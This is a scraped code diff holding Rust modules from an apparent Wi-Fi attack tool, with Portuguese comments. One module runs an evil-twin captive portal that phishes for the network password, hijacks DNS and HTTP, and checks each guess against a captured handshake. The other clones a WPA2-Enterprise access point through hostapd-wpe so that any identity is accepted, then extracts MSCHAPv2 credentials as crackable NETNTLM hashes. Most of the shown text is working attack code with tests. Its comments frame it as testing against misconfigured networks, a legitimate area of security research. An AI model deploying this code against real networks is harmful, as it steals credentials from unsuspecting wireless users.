</head><body><div class="card"><h1>Conectado</h1><p>Você já está conectado a “{ssid}”.</p></div></body></html>"#,
|
||||||
|
ssid = html_escape(ssid),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Servidor HTTP minúsculo do portal — sem dependência nova, não precisa
|
||||||
|
/// ser um servidor de verdade, só responder GET (qualquer caminho vira a
|
||||||
|
/// página de login, o que também satisfaz a detecção de portal cativo do
|
||||||
|
/// Android/iOS/Windows) e POST /connect (lê `password=...` do corpo e
|
||||||
|
/// confere contra o handshake real). Roda até achar a senha certa, o `stop`
|
||||||
|
/// virar true, ou o accept falhar.
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
|
pub fn run_portal(
|
||||||
|
listener: std::net::TcpListener,
|
||||||
|
ssid: &str,
|
||||||
|
target: &CrackTarget,
|
||||||
|
stop: &std::sync::atomic::AtomicBool,
|
||||||
|
mut on_attempt: impl FnMut(PortalAttempt),
|
||||||
|
) -> Option<String> {
|
||||||
|
use std::sync::atomic::Ordering;
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
listener.set_nonblocking(true).ok();
|
||||||
|
loop {
|
||||||
|
if stop.load(Ordering::Relaxed) {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
match listener.accept() {
|
||||||
|
Ok((stream, _)) => {
|
||||||
|
if let Some(password) = handle_connection(stream, ssid, target, &mut on_attempt) {
|
||||||
|
return Some(password);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {
|
||||||
|
std::thread::sleep(Duration::from_millis(80));
|
||||||
|
}
|
||||||
|
Err(_) => return None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
|
fn handle_connection(
|
||||||
|
mut stream: std::net::TcpStream,
|
||||||
|
ssid: &str,
|
||||||
|
target: &CrackTarget,
|
||||||
|
on_attempt: &mut impl FnMut(PortalAttempt),
|
||||||
|
) -> Option<String> {
|
||||||
|
use std::io::{Read, Write};
|
||||||
|
|
||||||
|
stream
|
||||||
|
.set_read_timeout(Some(std::time::Duration::from_secs(5)))
|
||||||
|
.ok();
|
||||||
|
let mut buf = vec![0u8; 8192];
|
||||||
|
let mut total = 0usize;
|
||||||
|
// Lê até achar o fim dos cabeçalhos — suficiente pros requests curtos
|
||||||
|
// que um navegador manda pra um form simples.
|
||||||
|
loop {
|
||||||
|
let n = stream.read(&mut buf[total..]).ok()?;
|
||||||
|
if n == 0 {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
total += n;
|
||||||
|
if buf[..total].windows(4).any(|w| w == b"\r\n\r\n") || total >= buf.len() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let request = String::from_utf8_lossy(&buf[..total]);
|
||||||
|
let mut lines = request.lines();
|
||||||
|
let request_line = lines.next().unwrap_or("");
|
||||||
|
let mut parts = request_line.split_whitespace();
|
||||||
|
let method = parts.next().unwrap_or("GET");
|
||||||
|
let path = parts.next().unwrap_or("/");
|
||||||
|
|
||||||
|
let mut content_length = 0usize;
|
||||||
|
for line in request.lines() {
|
||||||
|
if let Some(v) = line
|
||||||
|
.to_ascii_lowercase()
|
||||||
|
.strip_prefix("content-length:")
|
||||||
|
.map(str::trim)
|
||||||
|
.and_then(|v| v.parse::<usize>().ok())
|
||||||
|
{
|
||||||
|
content_length = v;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut found_password = None;
|
||||||
|
let body = if method == "POST" && path.starts_with("/connect") {
|
||||||
|
let header_end = request.find("\r\n\r\n").map(|i| i + 4).unwrap_or(total);
|
||||||
|
let body_bytes = &buf[header_end..total.min(header_end + content_length)];
|
||||||
|
let form = String::from_utf8_lossy(body_bytes);
|
||||||
|
let password = form_value(&form, "password").unwrap_or_default();
|
||||||
|
let attempt = check_submission(target, &password);
|
||||||
|
on_attempt(attempt.clone());
|
||||||
|
match attempt {
|
||||||
|
PortalAttempt::Correct => {
|
||||||
|
found_password = Some(password);
|
||||||
|
portal_success_html(ssid)
|
||||||
|
}
|
||||||
|
PortalAttempt::WrongPassword | PortalAttempt::InvalidLength => {
|
||||||
|
portal_login_html(ssid, true)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
portal_login_html(ssid, false)
|
||||||
|
};
|
||||||
|
|
||||||
|
let response = format!(
|
||||||
|
"HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
|
||||||
|
body.len()
|
||||||
|
);
|
||||||
|
let _ = stream.write_all(response.as_bytes());
|
||||||
|
found_password
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Lê `chave=valor` de um corpo `application/x-www-form-urlencoded` simples
|
||||||
|
/// (sem libs extra — é um único campo de senha, não vale a pena puxar uma
|
||||||
|
/// crate de parsing de formulário por causa disso).
|
||||||
|
fn form_value(body: &str, key: &str) -> Option<String> {
|
||||||
|
body.split('&').find_map(|pair| {
|
||||||
|
let (k, v) = pair.split_once('=')?;
|
||||||
|
if k == key {
|
||||||
|
Some(url_decode(v))
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn url_decode(s: &str) -> String {
|
||||||
|
let bytes = s.as_bytes();
|
||||||
|
let mut out = Vec::with_capacity(bytes.len());
|
||||||
|
let mut i = 0;
|
||||||
|
while i < bytes.len() {
|
||||||
|
match bytes[i] {
|
||||||
|
b'+' => {
|
||||||
|
out.push(b' ');
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
b'%' if i + 2 < bytes.len() => {
|
||||||
|
let hex = std::str::from_utf8(&bytes[i + 1..i + 3]).ok();
|
||||||
|
if let Some(byte) = hex.and_then(|h| u8::from_str_radix(h, 16).ok()) {
|
||||||
|
out.push(byte);
|
||||||
|
i += 3;
|
||||||
|
} else {
|
||||||
|
out.push(bytes[i]);
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
b => {
|
||||||
|
out.push(b);
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String::from_utf8_lossy(&out).into_owned()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn html_escape(s: &str) -> String {
|
||||||
|
s.replace('&', "&")
|
||||||
|
.replace('<', "<")
|
||||||
|
.replace('>', ">")
|
||||||
|
.replace('"', """)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostapd_conf_includes_required_fields_and_strips_newlines() {
|
||||||
|
let conf = hostapd_conf("wlan1", "Rede\nMaliciosa", 6, Some("aa:bb:cc:dd:ee:ff"));
|
||||||
|
assert!(conf.contains("interface=wlan1"));
|
||||||
|
assert!(conf.contains("ssid=RedeMaliciosa"));
|
||||||
|
assert!(!conf.contains("ssid=Rede\nMaliciosa"));
|
||||||
|
assert!(conf.contains("channel=6"));
|
||||||
|
assert!(conf.contains("hw_mode=g"));
|
||||||
|
assert!(conf.contains("bssid=aa:bb:cc:dd:ee:ff"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostapd_conf_picks_5ghz_mode_above_channel_14() {
|
||||||
|
let conf = hostapd_conf("wlan1", "Rede5G", 149, None);
|
||||||
|
assert!(conf.contains("hw_mode=a"));
|
||||||
|
assert!(!conf.contains("bssid="));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn dnsmasq_conf_hijacks_every_domain_to_the_gateway() {
|
||||||
|
let conf = dnsmasq_conf("wlan1", "10.0.0.1", ("10.0.0.10", "10.0.0.200"));
|
||||||
|
assert!(conf.contains("address=/#/10.0.0.1"));
|
||||||
|
assert!(conf.contains("dhcp-range=10.0.0.10,10.0.0.200,12h"));
|
||||||
|
assert!(conf.contains("no-resolv"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn iptables_rules_redirect_http_to_the_portal_port() {
|
||||||
|
let rules = iptables_rules("wlan1", 8080);
|
||||||
|
assert_eq!(rules.len(), 1);
|
||||||
|
assert!(rules[0].contains(&"REDIRECT".to_string()));
|
||||||
|
assert!(rules[0].contains(&"8080".to_string()));
|
||||||
|
assert!(rules[0].contains(&"80".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn cleanup_rules_mirror_add_rules_with_delete_flag() {
|
||||||
|
let add = iptables_rules("wlan1", 8080);
|
||||||
|
let del = iptables_cleanup_rules("wlan1", 8080);
|
||||||
|
assert_eq!(add.len(), del.len());
|
||||||
|
assert!(add[0].contains(&"-A".to_string()));
|
||||||
|
assert!(del[0].contains(&"-D".to_string()));
|
||||||
|
assert!(!del[0].contains(&"-A".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
fn sample_target(password: &str) -> CrackTarget {
|
||||||
|
use crate::testutil::{handshake_frames, synthetic_handshake};
|
||||||
|
let (m1, m2) = handshake_frames("RedeAlvo", password, 2, false);
|
||||||
|
let hs = synthetic_handshake(
|
||||||
|
"RedeAlvo",
|
||||||
|
"00:11:22:33:44:55",
|
||||||
|
"66:77:88:99:aa:bb",
|
||||||
|
&m1,
|
||||||
|
&m2,
|
||||||
|
);
|
||||||
|
CrackTarget::from_handshake(&hs).expect("alvo")
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn check_submission_only_accepts_the_real_password() {
|
||||||
|
let target = sample_target("senha-verdadeira");
|
||||||
|
assert_eq!(
|
||||||
|
check_submission(&target, "senha-verdadeira"),
|
||||||
|
PortalAttempt::Correct
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
check_submission(&target, "chute-qualquer"),
|
||||||
|
PortalAttempt::WrongPassword
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
check_submission(&target, "curta"),
|
||||||
|
PortalAttempt::InvalidLength
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn portal_server_rejects_wrong_password_then_accepts_the_real_one() {
|
||||||
|
use std::io::{Read, Write};
|
||||||
|
use std::net::TcpListener;
|
||||||
|
use std::sync::atomic::AtomicBool;
|
||||||
|
|
||||||
|
let listener = TcpListener::bind("127.0.0.1:0").expect("bind");
|
||||||
|
let addr = listener.local_addr().unwrap();
|
||||||
|
let target = sample_target("senha-real-123");
|
||||||
|
let stop = AtomicBool::new(false);
|
||||||
|
let attempts = std::sync::Mutex::new(Vec::new());
|
||||||
|
|
||||||
|
let handle = std::thread::spawn(move || {
|
||||||
|
run_portal(listener, "RedeAlvo", &target, &stop, |a| {
|
||||||
|
attempts.lock().unwrap().push(a);
|
||||||
|
})
|
||||||
|
});
|
||||||
|
|
||||||
|
// Dá um tempinho pro accept() estar escutando antes do primeiro connect.
|
||||||
|
std::thread::sleep(std::time::Duration::from_millis(50));
|
||||||
|
|
||||||
|
let post = |password: &str| -> String {
|
||||||
|
let body = format!("password={password}");
|
||||||
|
let req = format!(
|
||||||
|
"POST /connect HTTP/1.1\r\nHost: x\r\nContent-Length: {}\r\n\r\n{body}",
|
||||||
|
body.len()
|
||||||
|
);
|
||||||
|
let mut stream = std::net::TcpStream::connect(addr).expect("connect");
|
||||||
|
stream.write_all(req.as_bytes()).unwrap();
|
||||||
|
let mut resp = String::new();
|
||||||
|
stream.read_to_string(&mut resp).unwrap();
|
||||||
|
resp
|
||||||
|
};
|
||||||
|
|
||||||
|
let wrong = post("senha-errada-aqui");
|
||||||
|
assert!(wrong.contains("Senha incorreta"));
|
||||||
|
|
||||||
|
let right = post("senha-real-123");
|
||||||
|
assert!(right.contains("Você já está conectado"));
|
||||||
|
|
||||||
|
let password = handle.join().unwrap();
|
||||||
|
assert_eq!(password.as_deref(), Some("senha-real-123"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn portal_pages_escape_ssid_and_render_retry_notice() {
|
||||||
|
let html = portal_login_html("Rede <script>", true);
|
||||||
|
assert!(html.contains("Rede <script>"));
|
||||||
|
assert!(!html.contains("<script>"));
|
||||||
|
assert!(html.contains("Senha incorreta"));
|
||||||
|
|
||||||
|
let clean = portal_login_html("Rede Normal", false);
|
||||||
|
assert!(!clean.contains("Senha incorreta"));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,224 @@
|
|||||||
|
//! Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X — usuário+senha via
|
||||||
|
//! RADIUS, não uma senha única como o PSK comum): clona o AP numa segunda
|
||||||
|
//! interface anunciando o mesmo SSID e aceita o handshake EAP (PEAP/EAP-TTLS
|
||||||
|
//! com MSCHAPv2) de qualquer cliente que tente autenticar nele. Diferente do
|
||||||
|
//! Evil Twin de PSK (`eviltwin.rs`), aqui o dispositivo manda a credencial
|
||||||
|
//! **automaticamente**, como parte do próprio protocolo 802.1X — não precisa
|
||||||
|
//! de portal cativo nem de nenhuma ação humana, porque o cliente já tenta
|
||||||
|
//! autenticar sozinho em qualquer AP que anuncie o SSID que ele reconhece.
|
||||||
|
//!
|
||||||
|
//! Isso só existe pra Enterprise porque só nela a senha (ou algo derivado
|
||||||
|
//! dela) de fato viaja pela rede como parte da autenticação — no PSK a
|
||||||
|
//! senha nunca é transmitida (só confere um MIC), por isso o Evil Twin de
|
||||||
|
//! PSK precisa enganar um humano a digitá-la de novo.
|
||||||
|
//!
|
||||||
|
//! Orquestra o `hostapd-wpe` (não vem com o Sabiá — precisa estar instalado
|
||||||
|
//! separadamente: não é um binário pequeno vendorizável como o reaver, é um
|
||||||
|
//! patch sobre a árvore de build do próprio hostapd). O Sabiá só gera a
|
||||||
|
//! config, o `eap_user` genérico e o certificado autoassinado, e depois lê o
|
||||||
|
//! log de credenciais capturadas.
|
||||||
|
//!
|
||||||
|
//! Limitação honesta: o certificado é autoassinado. Clientes que validam a
|
||||||
|
//! cadeia de certificado da rede (comum em dispositivos atualizados,
|
||||||
|
//! principalmente com perfil MDM corporativo) vão recusar a conexão ou
|
||||||
|
//! avisar o usuário — exatamente a defesa que deveria existir contra esse
|
||||||
|
//! ataque. Funciona de verdade contra dispositivos configurados sem essa
|
||||||
|
//! validação (ainda comum em redes legadas/mal configuradas), que é o caso
|
||||||
|
//! que esse ataque sempre existiu para expor.
|
||||||
|
|
||||||
|
use std::fmt::Write as _;
|
||||||
|
|
||||||
|
/// Config do hostapd-wpe pro AP clone: mesmo SSID/canal do AP real,
|
||||||
|
/// anunciando WPA2-Enterprise e aceitando qualquer EAP (PEAP/TTLS) — é o
|
||||||
|
/// `eap_user_file` genérico que faz ele aceitar qualquer identidade.
|
||||||
|
#[allow(clippy::too_many_arguments)]
|
||||||
|
pub fn hostapd_wpe_conf(
|
||||||
|
iface: &str,
|
||||||
|
ssid: &str,
|
||||||
|
channel: u32,
|
||||||
|
eap_user_path: &str,
|
||||||
|
ca_cert_path: &str,
|
||||||
|
server_cert_path: &str,
|
||||||
|
server_key_path: &str,
|
||||||
|
wpe_logfile_path: &str,
|
||||||
|
) -> String {
|
||||||
|
let mut out = String::new();
|
||||||
|
let _ = writeln!(out, "interface={iface}");
|
||||||
|
let _ = writeln!(out, "driver=nl80211");
|
||||||
|
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
|
||||||
|
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
|
||||||
|
let _ = writeln!(out, "channel={channel}");
|
||||||
|
let _ = writeln!(out, "auth_algs=1");
|
||||||
|
let _ = writeln!(out, "wmm_enabled=1");
|
||||||
|
let _ = writeln!(out, "ignore_broadcast_ssid=0");
|
||||||
|
let _ = writeln!(out, "wpa=2");
|
||||||
|
let _ = writeln!(out, "wpa_key_mgmt=WPA-EAP");
|
||||||
|
let _ = writeln!(out, "rsn_pairwise=CCMP");
|
||||||
|
let _ = writeln!(out, "ieee8021x=1");
|
||||||
|
let _ = writeln!(out, "eap_server=1");
|
||||||
|
let _ = writeln!(out, "eap_user_file={eap_user_path}");
|
||||||
|
let _ = writeln!(out, "ca_cert={ca_cert_path}");
|
||||||
|
let _ = writeln!(out, "server_cert={server_cert_path}");
|
||||||
|
let _ = writeln!(out, "private_key={server_key_path}");
|
||||||
|
let _ = writeln!(out, "wpe_logfile={wpe_logfile_path}");
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `eap_user` genérico: aceita qualquer identidade externa pra PEAP/TTLS e
|
||||||
|
/// força MSCHAPv2 por dentro — é o que faz o hostapd-wpe logar usuário +
|
||||||
|
/// challenge/response de qualquer cliente que tentar autenticar, sem
|
||||||
|
/// precisar saber credenciais reais de antemão.
|
||||||
|
pub const DEFAULT_EAP_USER_FILE: &str = concat!(
|
||||||
|
"# gerado pelo Sabiá — aceita qualquer identidade, qualquer EAP externo\n",
|
||||||
|
"* PEAP,TTLS\n",
|
||||||
|
"\"anonymous\" TTLS-MSCHAPV2,MSCHAPV2 \"senha\" [2]\n",
|
||||||
|
);
|
||||||
|
|
||||||
|
/// Argumentos do `openssl req` pra gerar o par certificado+chave
|
||||||
|
/// autoassinado que o hostapd-wpe precisa pra abrir TLS (PEAP/TTLS sempre
|
||||||
|
/// envolve um túnel TLS, mesmo sendo um AP falso). Efêmero: 1 dia de validade
|
||||||
|
/// é de sobra pra uma sessão de teste.
|
||||||
|
pub fn openssl_selfsigned_cert_args(key_path: &str, cert_path: &str) -> Vec<String> {
|
||||||
|
[
|
||||||
|
"req",
|
||||||
|
"-x509",
|
||||||
|
"-newkey",
|
||||||
|
"rsa:2048",
|
||||||
|
"-keyout",
|
||||||
|
key_path,
|
||||||
|
"-out",
|
||||||
|
cert_path,
|
||||||
|
"-days",
|
||||||
|
"1",
|
||||||
|
"-nodes",
|
||||||
|
"-subj",
|
||||||
|
"/CN=sabia-wpe",
|
||||||
|
]
|
||||||
|
.into_iter()
|
||||||
|
.map(String::from)
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn sanitize_conf_value(value: &str) -> String {
|
||||||
|
value.replace(['\n', '\r'], "")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Uma credencial capturada: identidade + a linha pronta pra crackear
|
||||||
|
/// (formato `netntlm` do John the Ripper / compatível com `hashcat -m 5500`),
|
||||||
|
/// se o hostapd-wpe conseguiu capturar os dois.
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub struct CapturedCredential {
|
||||||
|
pub username: String,
|
||||||
|
pub netntlm: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Lê o `wpe_logfile` e extrai as credenciais capturadas. Parser
|
||||||
|
/// best-effort: o formato do hostapd-wpe é documentado (blocos
|
||||||
|
/// `username:`/`challenge:`/`response:`/`jtr NETNTLM:`), mas não dá pra
|
||||||
|
/// validar contra uma instalação de verdade nesta máquina (não é um
|
||||||
|
/// binário que o Sabiá vendoriza). Pega a linha `jtr NETNTLM:` quando
|
||||||
|
/// presente — já vem pronta pra `john --format=netntlm` ou pra reformatar
|
||||||
|
/// pro `hashcat -m 5500` — e nunca falha "silenciosamente demais": o job
|
||||||
|
/// sempre expõe o arquivo de log cru também, pra conferência manual.
|
||||||
|
pub fn captured_identities(log: &str) -> Vec<CapturedCredential> {
|
||||||
|
let mut out: Vec<CapturedCredential> = Vec::new();
|
||||||
|
let mut current_username: Option<String> = None;
|
||||||
|
for raw_line in log.lines() {
|
||||||
|
let line = raw_line.trim();
|
||||||
|
if let Some(rest) = line.strip_prefix("username:") {
|
||||||
|
current_username = Some(rest.trim().to_string());
|
||||||
|
} else if let Some(rest) = line.strip_prefix("jtr NETNTLM:") {
|
||||||
|
let netntlm = rest.trim().to_string();
|
||||||
|
let username = current_username
|
||||||
|
.clone()
|
||||||
|
.or_else(|| netntlm.split(':').next().map(str::to_string))
|
||||||
|
.unwrap_or_default();
|
||||||
|
if !out.iter().any(|c: &CapturedCredential| {
|
||||||
|
c.username == username && c.netntlm.as_deref() == Some(netntlm.as_str())
|
||||||
|
}) {
|
||||||
|
out.push(CapturedCredential {
|
||||||
|
username,
|
||||||
|
netntlm: Some(netntlm),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostapd_wpe_conf_includes_eap_and_tls_directives() {
|
||||||
|
let conf = hostapd_wpe_conf(
|
||||||
|
"wlan1",
|
||||||
|
"Corp\nWifi",
|
||||||
|
149,
|
||||||
|
"/tmp/eap_user",
|
||||||
|
"/tmp/ca.pem",
|
||||||
|
"/tmp/server.pem",
|
||||||
|
"/tmp/server.key",
|
||||||
|
"/tmp/wpe.log",
|
||||||
|
);
|
||||||
|
assert!(conf.contains("interface=wlan1"));
|
||||||
|
assert!(conf.contains("ssid=CorpWifi"));
|
||||||
|
assert!(!conf.contains("ssid=Corp\nWifi"));
|
||||||
|
assert!(conf.contains("hw_mode=a"));
|
||||||
|
assert!(conf.contains("ieee8021x=1"));
|
||||||
|
assert!(conf.contains("eap_server=1"));
|
||||||
|
assert!(conf.contains("eap_user_file=/tmp/eap_user"));
|
||||||
|
assert!(conf.contains("wpe_logfile=/tmp/wpe.log"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn openssl_args_reference_the_right_paths() {
|
||||||
|
let args = openssl_selfsigned_cert_args("/tmp/k.key", "/tmp/c.pem");
|
||||||
|
assert!(args.contains(&"/tmp/k.key".to_string()));
|
||||||
|
assert!(args.contains(&"/tmp/c.pem".to_string()));
|
||||||
|
assert!(args.contains(&"-x509".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn captured_identities_parses_username_and_netntlm_blocks() {
|
||||||
|
let log = "\
|
||||||
|
mschapv2: Thu Jan 1 00:00:00 1970
|
||||||
|
username: bob
|
||||||
|
challenge: aabbccddeeff0011
|
||||||
|
response: 1122334455667788990011223344556677889900aabbcc
|
||||||
|
jtr NETNTLM: bob:$NETNTLM$aabbccddeeff0011$1122334455667788990011223344556677889900aabbcc
|
||||||
|
|
||||||
|
mschapv2: Thu Jan 1 00:01:00 1970
|
||||||
|
username: alice
|
||||||
|
jtr NETNTLM: alice:$NETNTLM$0011223344556677$aabbccddeeff00112233445566778899aabbccdd
|
||||||
|
";
|
||||||
|
let creds = captured_identities(log);
|
||||||
|
assert_eq!(creds.len(), 2);
|
||||||
|
assert_eq!(creds[0].username, "bob");
|
||||||
|
assert!(creds[0]
|
||||||
|
.netntlm
|
||||||
|
.as_deref()
|
||||||
|
.unwrap()
|
||||||
|
.starts_with("bob:$NETNTLM$"));
|
||||||
|
assert_eq!(creds[1].username, "alice");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn captured_identities_dedupes_repeated_blocks_across_reparses() {
|
||||||
|
let log = "\
|
||||||
|
username: bob
|
||||||
|
jtr NETNTLM: bob:$NETNTLM$aa$bb
|
||||||
|
username: bob
|
||||||
|
jtr NETNTLM: bob:$NETNTLM$aa$bb
|
||||||
|
";
|
||||||
|
let creds = captured_identities(log);
|
||||||
|
assert_eq!(creds.len(), 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn captured_identities_returns_empty_for_a_log_with_no_credentials_yet() {
|
||||||
|
assert!(captured_identities("").is_empty());
|
||||||
|
assert!(captured_identities("hostapd-wpe v2.x starting up\n").is_empty());
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in new issue
Block a user